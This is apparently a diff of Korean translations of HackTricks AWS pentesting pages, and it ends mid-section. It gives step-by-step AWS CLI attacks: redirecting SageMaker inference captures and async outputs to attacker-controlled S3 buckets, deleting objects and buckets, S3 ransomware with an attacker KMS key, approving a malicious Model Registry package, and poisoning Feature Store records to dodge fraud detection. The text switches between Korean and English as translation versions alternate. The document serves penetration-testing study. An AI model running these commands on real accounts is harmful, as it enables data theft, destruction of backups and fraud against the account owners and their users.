영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블을 소스 클러스터의 데이터베이스 자격 증명, 백업 또는 네트워크 접근을 사용하지 않고 연속적이고 거의 실시간으로 exfiltration할 수 있음.
|
||||
|
||||
영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블들을 데이터베이스 자격증명, 백업, 또는 소스 클러스터에 대한 네트워크 접근 없이 지속적(거의 실시간)으로 exfiltration할 수 있습니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,30 +12,30 @@ For more information check:
|
||||
|
||||
### Sensitive Information
|
||||
|
||||
때때로 버킷에서 읽을 수 있는 형태로 민감한 정보를 발견할 수 있습니다. 예를 들어, terraform state secrets.
|
||||
버킷에서 읽을 수 있는 상태로 민감한 정보를 발견할 수 있습니다. 예를 들어, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
예를 들어, **airflow**는 **DAGs** **code**를 그곳에 저장할 수 있고, 또는 **web pages**가 S3에서 직접 제공될 수 있습니다. 쓰기 권한을 가진 공격자는 버킷의 **modify the code**를 통해 다른 플랫폼으로 **pivot**하거나, JS 파일을 수정하여 **takeover accounts**할 수 있습니다.
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
이 시나리오에서, **attacker creates a KMS (Key Management Service) key in their own AWS account** 또는 다른 탈취된 계정에서 키를 생성합니다. 그런 다음 이 **key를 전 세계 누구나 사용할 수 있게** 설정하여, 어떤 AWS 사용자, 역할 또는 계정이든 이 키로 객체를 암호화할 수 있게 만듭니다. 그러나 해당 객체들은 복호화될 수 없습니다.
|
||||
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
|
||||
|
||||
공격자는 대상 **S3 bucket을 식별하고 write-level access를 획득**합니다. 이는 버킷 설정 미비로 공개되어 있거나 공격자가 AWS 환경 자체에 접근했기 때문일 수 있습니다. 공격자는 일반적으로 개인 식별 정보(PII), 보호된 건강 정보(PHI), 로그, 백업 등 민감한 정보를 포함한 버킷을 표적으로 삼습니다.
|
||||
공격자는 대상 **S3 bucket에 대한 쓰기 권한을 획득**하기 위해 다양한 방법을 사용합니다. 이는 버킷 설정이 잘못되어 공개되어 있거나 공격자가 AWS 환경 자체에 접근했기 때문일 수 있습니다. 공격자는 보통 PII, PHI, 로그, 백업 등 민감한 정보를 포함한 버킷을 목표로 삼습니다.
|
||||
|
||||
버킷이 랜섬웨어 대상으로 적합한지 판단하기 위해 공격자는 구성 설정을 확인합니다. 여기에는 **S3 Object Versioning**이 활성화되어 있는지, **multi-factor authentication delete (MFA delete)**가 활성화되어 있는지를 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않다면 공격자는 계속 진행할 수 있습니다. Object Versioning이 활성화되어 있지만 MFA delete가 비활성화된 경우 공격자는 **Object Versioning을 비활성화**할 수 있습니다. Object Versioning과 MFA delete가 모두 활성화되어 있다면 해당 버킷에 대해 랜섬웨어 공격을 수행하기가 더 어려워집니다.
|
||||
버킷이 랜섬웨어 표적이 될 수 있는지 확인하기 위해 공격자는 구성 상태를 점검합니다. 여기에는 **S3 Object Versioning**이 활성화되어 있는지, **multi-factor authentication delete (MFA delete)**가 활성화되어 있는지 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않으면 공격자는 진행할 수 있습니다. Object Versioning은 활성화되어 있지만 MFA delete가 비활성화되어 있으면 공격자는 **Object Versioning을 비활성화**할 수 있습니다. Object Versioning과 MFA delete가 둘 다 활성화되어 있으면 해당 버킷을 랜섬웨어화하기가 더 어려워집니다.
|
||||
|
||||
공격자는 AWS API를 사용하여 **버킷 내 각 객체를 자신의 KMS key로 암호화된 복사본으로 대체**합니다. 이로 인해 버킷의 데이터가 사실상 암호화되어 키 없이는 접근할 수 없게 됩니다.
|
||||
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
|
||||
|
||||
추가 압박을 위해 공격자는 공격에 사용된 KMS 키의 삭제를 예약할 수 있습니다. 이렇게 하면 대상은 키가 삭제되어 데이터가 영구적으로 손실되기 전 7일의 복구 기간을 갖게 됩니다.
|
||||
더 큰 압박을 위해 공격자는 공격에 사용한 KMS 키의 삭제를 예약할 수 있습니다. 이는 키가 삭제되어 데이터가 영구적으로 손실되기 전에 대상에게 복구할 수 있는 7-day 창을 제공합니다.
|
||||
|
||||
마지막으로 공격자는 보통 "ransom-note.txt"라는 이름의 최종 파일을 업로드하여 대상에게 파일 복구 방법을 안내하는 지침을 남길 수 있습니다. 이 파일은 주의를 끌고 랜섬웨어 공격을 알리기 위해 암호화되지 않은 상태로 업로드됩니다.
|
||||
마지막으로, 공격자는 보통 "ransom-note.txt"라는 이름의 최종 파일을 업로드하여 대상에게 파일을 되찾는 방법에 대한 지침을 제공할 수 있습니다. 이 파일은 주의를 끌고 랜섬웨어 공격 사실을 알리기 위해 암호화 없이 업로드됩니다.
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (백업, 스냅샷, 로그, 인증서, 오래된 비밀 등) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data.
|
||||
An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (backups, snapshots, logs, certifications, old secrets) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
@@ -47,7 +47,7 @@ aws s3api restore-object \
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
s3:Delete* 권한을 가진 공격자는 객체, 버전 및 전체 버킷을 삭제할 수 있어 백업을 무력화하고 즉각적이며 되돌릴 수 없는 데이터 손실, 증거 파괴 및 백업 또는 복구 아티팩트의 손상을 초래할 수 있습니다.
|
||||
s3:Delete* 권한을 가진 공격자는 객체, 버전, 전체 버킷을 삭제하고 백업을 중단시켜 즉각적이고 되돌릴 수 없는 데이터 손실을 초래하며 증거를 파괴하고 백업 또는 복구 아티팩트를 손상시킬 수 있습니다.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
@@ -64,6 +64,6 @@ aws s3api delete-object \
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**자세한 내용은** [**원문 연구를 확인하세요**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**자세한 정보** [**원본 연구를 확인하세요**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## UpdateEndpoint DataCaptureConfig을 통한 SageMaker 엔드포인트 데이터 가로채기
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
모델이나 container를 건드리지 않고 SageMaker endpoint 관리 기능을 악용하여 공격자 제어 S3 버킷으로 요청/응답을 전부 캡처하도록 설정합니다. 제로/저 다운타임 롤링 업데이트를 사용하며 endpoint 관리 권한만 필요합니다.
|
||||
SageMaker endpoint 관리를 악용하여 model이나 container를 건들지 않고 전체 요청/응답을 공격자 제어의 S3 버킷으로 캡처하도록 활성화합니다. 무/저 가동중단 롤링 업데이트를 사용하며 endpoint 관리 권한만 필요합니다.
|
||||
|
||||
### 요구 사항
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (또는 동일한 계정의 기존 버킷 사용)
|
||||
- 선택 사항 (SSE‑KMS를 사용하는 경우): 선택한 CMK에 대한 `kms:Encrypt`
|
||||
- 대상: 동일한 계정/리전의 기존 InService real‑time endpoint
|
||||
- S3: `s3:CreateBucket` (or use an existing bucket in the same account)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: An existing InService real‑time endpoint in the same account/region
|
||||
|
||||
### 단계
|
||||
1) InService endpoint를 식별하고 현재 production variants를 수집합니다.
|
||||
### Steps
|
||||
1) Identify an InService endpoint and gather current production variants
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) 캡처를 위해 attacker S3 destination을 준비
|
||||
2) 공격자 S3 목적지(캡처용) 준비
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) 동일한 variants를 유지하되 DataCapture를 attacker bucket으로 활성화한 새로운 EndpointConfig를 생성하세요
|
||||
3) 동일한 variants를 유지하되 DataCapture를 attacker bucket으로 활성화하는 새로운 EndpointConfig를 생성하세요
|
||||
|
||||
참고: CLI 검증을 통과하는 명시적인 content types를 사용하세요
|
||||
참고: CLI 검증을 만족하는 명시적인 content types를 사용하세요.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,49 +54,50 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) rolling update로 새 config를 적용합니다 (minimal/no downtime)
|
||||
4) rolling update로 새 config 적용 (최소/다운타임 없음)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
최소한 하나의 추론 호출을 생성합니다(라이브 트래픽이 존재하는 경우 선택 사항).
|
||||
5) 최소 한 번의 추론 호출을 생성합니다 (실시간 트래픽이 있는 경우 선택 사항)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) 공격자 S3에서 캡처를 검증
|
||||
6) attacker S3에서 captures를 검증
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### 영향
|
||||
- 대상 endpoint에서 실시간 inference 요청 및 응답 페이로드(및 메타데이터)를 공격자가 제어하는 S3 버킷으로 완전 유출.
|
||||
- 모델/container 이미지 변경 없이 endpoint 수준의 변경만으로 최소한의 운영 중단으로 은밀한 데이터 탈취 경로 제공.
|
||||
- 타깃 endpoint에서 공격자 제어 S3 버킷으로 실시간 inference 요청 및 응답 페이로드(및 메타데이터)의 완전 exfiltration.
|
||||
- model/container image에는 변경이 없고 오직 endpoint‑level 변경만으로 최소한의 운영 중단으로 stealthy data theft 경로를 가능하게 함.
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
Endpoint 관리를 악용하여 현재 EndpointConfig를 복제하고 AsyncInferenceConfig.OutputConfig의 S3OutputPath/S3FailurePath를 설정해 비동기 추론 출력을 공격자 제어 S3 버킷으로 리다이렉트. 이렇게 하면 모델/컨테이너를 수정하지 않고도 모델 예측(및 컨테이너가 포함한 변형된 입력)을 유출할 수 있음.
|
||||
|
||||
현재 EndpointConfig를 복제하고 AsyncInferenceConfig.OutputConfig의 S3OutputPath/S3FailurePath를 설정하여 endpoint 관리를 악용해 비동기 inference 출력을 공격자 제어 S3 버킷으로 리다이렉트합니다. 이렇게 하면 model predictions(및 container에 포함된 변환된 inputs)을 model/container를 수정하지 않고도 exfiltrates 할 수 있습니다.
|
||||
|
||||
### 요구사항
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: 모델 실행 역할 또는 관대 한 버킷 정책을 통해 공격자 S3 버킷에 쓸 수 있는 권한
|
||||
- Target: 비동기 호출이 사용 중이거나 사용될 InService endpoint
|
||||
- S3: model execution role 또는 permissive bucket policy를 통해 공격자 S3 버킷에 쓰기 권한
|
||||
- Target: 비동기 invocations가 사용 중이거나(또는 사용될) InService endpoint
|
||||
|
||||
### 단계
|
||||
1) 대상 endpoint에서 현재 ProductionVariants 수집
|
||||
1) 타깃 endpoint에서 현재 ProductionVariants 수집
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) 공격자 버킷을 생성합니다 (모델 실행 역할이 PutObject를 수행할 수 있는지 확인하세요)
|
||||
2) attacker bucket을 생성하세요 (model execution role이 PutObject할 수 있는지 확인하세요)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) EndpointConfig를 복제하고 AsyncInference 출력을 공격자 버킷으로 탈취
|
||||
3) EndpointConfig를 복제하고 AsyncInference 출력을 공격자 버킷으로 가로채기
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -106,7 +107,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) async invocation을 트리거하고 객체들이 공격자 S3에 저장되는지 확인하세요
|
||||
4) 비동기 호출을 트리거하고 객체가 공격자 S3에 도착하는지 확인
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -115,21 +116,21 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### 영향
|
||||
- 비동기 inference 결과(및 error bodies)를 attacker-controlled S3로 리디렉션하여, 컨테이너가 생성한 predictions 및 잠재적으로 민감한 pre/post-processed inputs의 covert exfiltration을 가능하게 하며, model code or image를 변경하지 않고 최소/무 다운타임으로 수행됩니다.
|
||||
- 비동기 추론 결과(및 오류 본문)를 공격자 제어 S3로 리디렉션하여 컨테이너가 생성한 예측 및 잠재적으로 민감한 전/후처리 입력을 모델 code나 image를 변경하지 않고 최소/무중단으로 은밀하게 유출할 수 있습니다.
|
||||
|
||||
|
||||
## SageMaker Model Registry 공급망 주입 via CreateModelPackage(Approved)
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
만약 attacker가 대상 SageMaker Model Package Group에서 CreateModelPackage를 수행할 수 있다면, attacker-controlled container image를 가리키는 새 모델 버전을 등록하고 즉시 Approved로 표시할 수 있습니다. 많은 CI/CD 파이프라인이 Approved 모델 버전을 endpoints 또는 training jobs에 자동 배포하므로 서비스의 실행 역할 하에서 attacker code execution이 발생할 수 있습니다. permissive ModelPackageGroup resource policy는 계정 간 노출을 확대할 수 있습니다.
|
||||
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
|
||||
|
||||
### 요구사항
|
||||
- IAM (기존 그룹을 poison하기 위한 최소 권한): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Optional (그룹이 존재하지 않을 경우 생성하기 위해): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: 참조된 ModelDataUrl에 대한 Read access(또는 attacker-controlled artifacts 호스팅)
|
||||
- Target: downstream automation이 Approved 버전을 감시하는 Model Package Group
|
||||
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- 선택 사항 (그룹이 없을 경우 그룹을 생성하려면): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: 참조된 ModelDataUrl에 대한 읽기 권한(또는 공격자 제어 아티팩트 호스팅)
|
||||
- 대상: 하위 자동화가 Approved 버전을 감시하는 Model Package Group
|
||||
|
||||
### 단계
|
||||
1) 리전 설정하고 대상 Model Package Group을 생성하거나 찾기
|
||||
1) 리전을 설정하고 대상 Model Package Group 생성/검색
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
@@ -143,7 +144,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) 공개된 AWS DLC 이미지를 참조하는 악의적인(여기서는 무해한) 승인된 모델 패키지 버전을 등록
|
||||
3) 공개 AWS DLC image를 참조하는 악성(여기서는 무해한) Approved model package version 등록
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -160,17 +161,17 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) 새로운 Approved 버전이 존재하는지 확인
|
||||
4) 새로운 승인된 버전이 존재하는지 확인
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### 영향
|
||||
- 공격자가 제어하는 코드를 참조하는 Approved 버전으로 Model Registry를 오염시킬 수 있습니다. Approved 모델을 자동으로 배포하는 파이프라인은 공격자 이미지를 pull하여 실행할 수 있으며, 이로 인해 endpoint/training roles 권한으로 코드 실행이 발생할 수 있습니다.
|
||||
- 권한이 느슨한 ModelPackageGroup 리소스 정책 (PutModelPackageGroupPolicy)이 있으면 이 악용은 cross-account로 트리거될 수 있습니다.
|
||||
- Model Registry를 Poison하여 attacker-controlled code를 참조하는 Approved 버전을 등록한다. Approved 모델을 자동 배포하는 Pipelines는 attacker image를 pull하고 실행할 수 있으며, endpoint/training roles 권한으로 코드 실행을 획득할 수 있다.
|
||||
- 권한이 관대한 ModelPackageGroup 리소스 정책(PutModelPackageGroupPolicy)이 있는 경우, 이 악용은 cross-account로도 트리거될 수 있다.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
OnlineStore가 활성화된 Feature Group에서 `sagemaker:PutRecord`를 악용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자는 민감한 feature를 읽을 수 있습니다. 이는 모델이나 엔드포인트에 대한 접근 권한을 필요로 하지 않습니다.
|
||||
OnlineStore가 활성화된 Feature Group에서 `sagemaker:PutRecord`를 악용해 online inference에서 소비되는 라이브 feature 값을 덮어쓸 수 있다. `sagemaker:GetRecord`와 결합하면 attacker는 민감한 feature를 읽을 수 있다. 이는 models나 endpoints에 대한 접근을 필요로 하지 않는다.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
OnlineStore가 활성화된 Feature Group에 대해 `sagemaker:PutRecord`를 악용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있다. `sagemaker:GetRecord`와 결합하면 공격자는 민감한 feature 값을 읽을 수 있다. 이 공격은 모델이나 엔드포인트에 대한 접근 권한이 필요하지 않다.
|
||||
Online inference에서 사용되는 실시간 feature 값을 덮어쓰기 위해 OnlineStore가 활성화된 Feature Group에서 `sagemaker:PutRecord`를 악용합니다. `sagemaker:GetRecord`와 결합하면 공격자가 민감한 features를 읽을 수 있습니다. 이는 모델이나 endpoints에 대한 접근을 필요로 하지 않습니다.
|
||||
|
||||
## 요구사항
|
||||
## Requirements
|
||||
- 권한: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원)
|
||||
- 복잡도: **LOW** - 간단한 AWS CLI 명령, 모델 조작 불필요
|
||||
- 대상: OnlineStore가 활성화된 Feature Group (보통 실시간 inference를 지원)
|
||||
- 복잡도: **LOW** - 간단한 AWS CLI 명령어, 모델 조작 불필요
|
||||
|
||||
## 단계
|
||||
## Steps
|
||||
|
||||
### Reconnaissance
|
||||
|
||||
1) OnlineStore가 활성화된 Feature Group 목록 나열
|
||||
1) OnlineStore가 활성화된 Feature Group 목록 확인
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -21,25 +21,25 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) 대상 Feature Group의 스키마를 이해하기 위해 설명한다
|
||||
2) 타깃 Feature Group의 스키마를 이해하기 위해 설명한다
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
유효한 레코드를 생성하려면 `RecordIdentifierFeatureName`, `EventTimeFeatureName` 및 모든 feature 정의를 확인하세요.
|
||||
유효한 레코드를 작성하려면 `RecordIdentifierFeatureName`, `EventTimeFeatureName` 및 모든 피처 정의가 필요합니다.
|
||||
|
||||
### 공격 시나리오 1: Data Poisoning (기존 레코드 덮어쓰기)
|
||||
### 공격 시나리오 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) 현재 정상적인 레코드를 읽는다.
|
||||
1) 현재 유효한 레코드를 읽습니다.
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) inline `--record` 매개변수를 사용하여 레코드에 악성 값을 주입합니다
|
||||
2) 인라인 `--record` 매개변수를 사용하여 레코드를 악성 값으로 Poison합니다
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) 오염된 데이터 확인
|
||||
3) 오염된 데이터 검증
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**영향**: 해당 기능을 사용하는 ML models는 정당한 사용자에 대해 `risk_score=0.99`를 보게 되어 거래나 서비스가 차단될 수 있습니다.
|
||||
**영향**: ML 모델이 이 특성을 사용하면 합법적인 사용자에 대해 `risk_score=0.99`을 보게 되어, 잠재적으로 그들의 거래나 서비스를 차단할 수 있습니다.
|
||||
|
||||
### 공격 시나리오 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
### 공격 시나리오 2: 악의적 데이터 주입 (사기성 레코드 생성)
|
||||
|
||||
보안 통제를 회피하기 위해 조작된 특성으로 완전히 새로운 레코드를 주입합니다:
|
||||
조작된 특성을 가진 완전히 새로운 레코드를 주입하여 보안 통제를 회피합니다:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -91,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**영향**: 공격자는 낮은 리스크 점수(0.01)를 가진 가짜 신원을 생성하여 사기 탐지 시스템을 유발하지 않고 고액의 사기 거래를 수행할 수 있습니다.
|
||||
**Impact**: 공격자는 낮은 위험 점수(0.01)를 가진 가짜 신원을 만들어 사기 탐지를 유발하지 않고 고가치 사기 거래를 수행할 수 있습니다.
|
||||
|
||||
### 공격 시나리오 3: 민감한 데이터 유출
|
||||
|
||||
여러 레코드를 읽어 기밀 특성(feature)을 추출하고 모델 동작을 프로파일링합니다:
|
||||
여러 레코드를 읽어 기밀 피처를 추출하고 모델 동작을 프로파일링합니다:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -106,7 +106,7 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**영향**: 기밀 feature(위험 점수, 거래 패턴, 개인 데이터)가 공격자에게 노출될 수 있음.
|
||||
**영향**: 기밀 특성(위험 점수, 거래 패턴, 개인 데이터)이 공격자에게 노출됩니다.
|
||||
|
||||
### 테스트/데모 Feature Group 생성 (선택 사항)
|
||||
|
||||
@@ -143,6 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## 참고자료
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
## 참고 자료
|
||||
- [AWS SageMaker Feature Store 설명서](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store 보안 모범 사례](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -2,54 +2,54 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
## 설명
|
||||
|
||||
`SQS` 메시지 이동 작업을 악용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 `sqs:StartMessageMoveTask`를 사용해 공격자가 제어하는 큐로 리디렉션하여 탈취합니다. 이 기법은 AWS의 정상적인 메시지 복구 기능을 악용해 시간이 지나며 DLQ에 축적된 민감한 데이터를 exfiltrate합니다.
|
||||
SQS의 message move task를 악용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 공격자가 제어하는 큐로 `sqs:StartMessageMoveTask`를 사용해 리다이렉트하여 탈취합니다. 이 기법은 AWS의 정당한 메시지 복구 기능을 악용해 시간이 지나며 DLQ에 축적된 민감한 데이터를 탈취합니다.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
## Dead-Letter Queue (DLQ)란 무엇인가?
|
||||
|
||||
Dead-Letter Queue는 주 애플리케이션이 정상적으로 처리하지 못한 메시지들이 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지들은 종종 다음을 포함합니다:
|
||||
Dead-Letter Queue는 주요 애플리케이션에서 메시지 처리가 실패했을 때 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지에는 종종 다음이 포함됩니다:
|
||||
- 처리되지 못한 민감한 애플리케이션 데이터
|
||||
- 오류 세부 정보 및 디버깅 정보
|
||||
- Personal Identifiable Information (PII)
|
||||
- API 토큰, 자격 증명 또는 기타 비밀
|
||||
- API 토큰, 자격 증명 또는 기타 비밀 정보
|
||||
- 비즈니스에 중요한 트랜잭션 데이터
|
||||
|
||||
DLQ는 실패한 메시지들의 "무덤" 역할을 하며, 애플리케이션이 제대로 처리하지 못해 시간이 지나며 민감한 데이터를 축적하므로 매우 가치 있는 표적이 됩니다.
|
||||
DLQ는 실패한 메시지의 "무덤" 역할을 하며, 애플리케이션이 제대로 처리하지 못해 시간이 지나며 민감한 데이터가 축적되기 때문에 가치 있는 타깃입니다.
|
||||
|
||||
## Attack Scenario
|
||||
## 공격 시나리오
|
||||
|
||||
**Real-world example:**
|
||||
